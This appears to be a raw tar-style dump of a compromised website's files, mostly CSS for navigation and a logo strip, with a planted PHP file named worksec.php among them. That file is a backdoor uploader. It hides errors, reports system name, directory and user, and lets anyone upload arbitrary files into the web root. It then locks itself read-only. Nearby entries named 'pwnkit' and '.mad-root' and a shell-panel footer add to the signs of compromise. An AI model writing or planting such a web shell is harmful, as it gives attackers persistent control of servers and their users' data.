letter-spacing: 0.2em; text-transform: uppercase; color: var(--c-gold); } .drawer-close { width: 36px; height: 36px; display: flex; align-items: center; justify-content: center; color: var(--c-grey-3); background: none; border: none; cursor: pointer; transition: color .2s; } .drawer-close:hover { color: var(--c-gold); } .drawer-nav { flex: 1; padding: 0.5rem 0; } .drawer-list { list-style: none; margin: 0; padding: 0; } .drawer-item { border-bottom: 1px solid rgba(255,255,255,.05); } .drawer-link { display: flex; align-items: center; justify-content: space-between; width: 100%; padding: 1rem 1.5rem; font-family: var(--font-cond); font-size: 0.9rem; font-weight: 700; letter-spacing: 0.1em; text-transform: uppercase; color: var(--c-grey-4); background: none; border: none; cursor: pointer; text-align: left; transition: color .2s, background .2s; } .drawer-link:hover, .drawer-link.is-open { color: var(--c-gold); background: rgba(201,168,76,.04); } .drawer-chevron { transition: transform .25s; flex-shrink: 0; } .drawer-link.is-open .drawer-chevron { transform: rotate(180deg); } .drawer-sub { display: none; padding: 0 0 0.75rem; background: rgba(0,0,0,.2); } .drawer-sub.is-open { display: block; } .drawer-sub-cat { padding: 0.75rem 1.5rem 0.3rem; font-family: var(--font-cond); font-size: 0.6rem; font-weight: 700; letter-spacing: 0.2em; text-transform: uppercase; } .drawer-sub-link { display: block; padding: 0.55rem 1.5rem 0.55rem 2rem; font-size: 0.85rem; color: var(--c-grey-3); border-left: 2px solid transparent; transition: color .2s, border-color .2s, padding-left .2s; } .drawer-sub-link:hover { color: var(--c-white); border-left-color: var(--c-gold); padding-left: 2.4rem; } .drawer-footer { padding: 1.25rem 1.5rem; border-top: 1px solid var(--c-dark-3); flex-shrink: 0; } .drawer-lang { display: flex; align-items: center; gap: 0.6rem; font-family: var(--font-cond); font-size: 0.75rem; font-weight: 700; letter-spacing: 0.14em; text-transform: uppercase; color: var(--c-gold); } @media (min-width: 1025px) { .nav-bar-inner { grid-template-columns: auto 1fr auto; } .nav-hamburger { display: none !important; } .nav-logo-wrap { grid-column: 1; flex-direction: row; gap: 0.75rem; align-items: center; } .nav-logo-img { height: 100px; } .nav-slogan { font-size: 0.6rem; } .nav-desktop { grid-column: 2; justify-content: center; } .nav-lang { grid-column: 3; } } @media (max-width: 1024px) { .nav-bar-inner { grid-template-columns: 68px 1fr 68px; } .nav-hamburger { display: flex; grid-column: 1; } .nav-logo-wrap { grid-column: 2; align-items: center; } .nav-desktop { display: none; } .nav-lang { grid-column: 3; font-size: 0.68rem; padding: 0.25rem 0.45rem; } .mega-panel { display: none; } .mega-overlay { display: none; } } @media (max-width: 480px) { .nav-logo-img { height: 48px; } .nav-slogan { font-size: 0.52rem; } } worksec.php 0000644 00000002073 15251744671 0006750 0 ustar 00 <?php // Path to the file $file = 'worksec.php'; // Change the file permissions to 0444 (read-only) chmod($file, 0444); ?> <?php error_reporting(0); set_time_limit(0); $user = get_current_user(); echo "<center><b>Uname:".php_uname()."<br></b>"; echo "<br><b>Base Dir : ".getcwd()."<br></b>"; echo "<br><b>User : ".$user."<br></b>"; echo '<br><font color="black" size="4">'; if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if(isset($_FILES['image']['name'])) { $qx = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $qx); @chmod ($qx, octdec($mode)); echo" <a href=$userfile_name><center><b>Sucessfully Uploaded :D ==> $userfile_name</b></center></a>"; } }else{ echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>'; } echo '</center></font>'; ?> strip.css 0000604 00000006014 15251744671 0006430 0 ustar 00 .strip-section { display: flex; align-items: stretch; background: #080808; border-top: 1px solid rgba(255, 255, 255, 0.05); border-bottom: 1px solid rgba(255, 255, 255, 0.05); overflow: hidden; height: 115px; position: relative; } .strip-label-col { flex-shrink: 0; width: 120px; display: flex; align-items: center; justify-content: flex-end; gap: 1rem; padding: 0 1.25rem; background: #080808; z-index: 10; border-right: 1px solid rgba(255, 255, 255, 0.1); } .strip-label-text { font-family: var(--font-cond); font-size: 0.65rem; font-weight: 700; letter-spacing: 0.2em; text-transform: uppercase; color: #FFCE00; line-height: 1.4; text-align: right; } .strip-viewport { flex: 1; overflow: hidden; position: relative; display: flex; align-items: center; } .strip-track { display: flex; align-items: center; animation: stripScroll 35s linear infinite; will-change: transform; } .strip-viewport:hover .strip-track { animation-play-state: paused; } @keyframes stripScroll { 0% { transform: translateX(0); } 100% { transform: translateX(calc(-100% / 3)); } } .strip-fade { position: absolute; top: 0; bottom: 0; width: 100px; z-index: 5; pointer-events: none; } .strip-fade-left { left: 0; background: linear-gradient(to right, #080808, transparent); } .strip-fade-right { right: 0; background: linear-gradient(to left, #080808, transparent); } .strip-item { display: flex; align-items: center; gap: 1.5rem; padding: 0 2.8rem; flex-shrink: 0; text-decoration: none; transition: opacity 0.3s; } .strip-item:hover { opacity: 0.9; } .strip-item-logo { position: relative; width: 72px; height: 72px; background: #FFFFFF; border-radius: 50%; display: flex; align-items: center; justify-content: center; padding: 4px; /* Logos presque bord à bord */ box-shadow: 0 4px 15px rgba(0,0,0,0.6); overflow: hidden; flex-shrink: 0; transition: transform 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275); } .strip-item:hover .strip-item-logo { transform: scale(1.1); } .strip-svg-logo { display: block; filter: none !important; } .strip-item-letter { font-family: var(--font-display); font-size: 2rem; font-weight: 800; color: #000; } .strip-item-text { display: flex; flex-direction: column; gap: 2px; } .strip-item-name { font-family: var(--font-cond); font-size: 1.05rem; font-weight: 700; color: #FFFFFF; text-transform: uppercase; letter-spacing: 0.02em; white-space: nowrap; } .strip-item-pole { font-family: var(--font-cond); font-size: 0.65rem; font-weight: 600; color: rgba(255, 255, 255, 0.5); text-transform: uppercase; letter-spacing: 0.12em; } @media (max-width: 768px) { .strip-section { height: 95px; } .strip-item-logo { width: 58px; height: 58px; } .strip-item { padding: 0 1.8rem; gap: 1rem; } .strip-label-col { width: 90px; } .strip-item-name { font-size: 0.9rem; } } @media (max-width: 480px) { .strip-label-col { display: none; } .strip-track { animation-duration: 25s; } } font-poppins.css 0000604 00000003161 15251744671 0007723 0 ustar 00 :root { --c-black: #000000; --c-dark: #141414; --c-dark-2: #1a1a1a; --c-dark-3: #242424; --c-gold: #FFCE00; --c-gold-light: #ffe04d; --c-gold-dark: #cca500; --c-white: #FFFFFF; --c-grey-1: #2e2e2e; --c-grey-2: #5a5a5a; --c-grey-3: #8a8a8a; --c-grey-4: #c0b8a8; --c-error: #c0392b; --c-success: #27ae60; --font-display: 'Poppins', sans-serif; --font-body: 'Poppins', sans-serif; --font-cond: 'Poppins', sans-serif; --section-py: 7rem; --container-w: 1280px; --container-px: clamp(1rem, 4vw, 2.5rem); --ease-out: cubic-bezier(0.16, 1, 0.3, 1); --ease-in: cubic-bezier(0.7, 0, 0.84, 0); --topbar-h: 38px; --nav-h: 72px; --header-h: calc(var(--topbar-h) + var(--nav-h)); } .hero-title { font-weight: 800; letter-spacing: -0.03em; line-height: 1.0; } .section-title { font-weight: 700; letter-spacing: -0.02em; line-height: 1.15; } .page-hero-title { font-weight: 800; letter-spacing: -0.03em; } .nav-link, .nav-mega-btn { font-weight: 600; letter-spacing: 0.05em; } .section-label { font-weight: 600; letter-spacing: 0.15em; font-size: 0.72rem; } .body-text, p { font-weight: 400; line-height: 1.75; } .btn { font-weight: 600; letter-spacing: 0.08em; } .footer-heading { font-weight: 700; letter-spacing: 0.12em; } .stat-number, .kpi-number { font-weight: 800; letter-spacing: -0.03em; } .news-tag, .nlc-tag, .badge-lang { font-weight: 600; letter-spacing: 0.12em; } .admin-page-title, .sidebar-link, .adm-btn, .drawer-link { font-family: 'Poppins', sans-serif; } pwnkit 0000755 00000000000 15251744671 0006010 0 ustar 00 .mad-root 0000644 00000000000 15251744671 0006271 0 ustar 00
| ver. 1.4 |
Github
|
.
| PHP 8.5.7 | Generation time: 0 |
proxy
|
phpinfo
|
Settings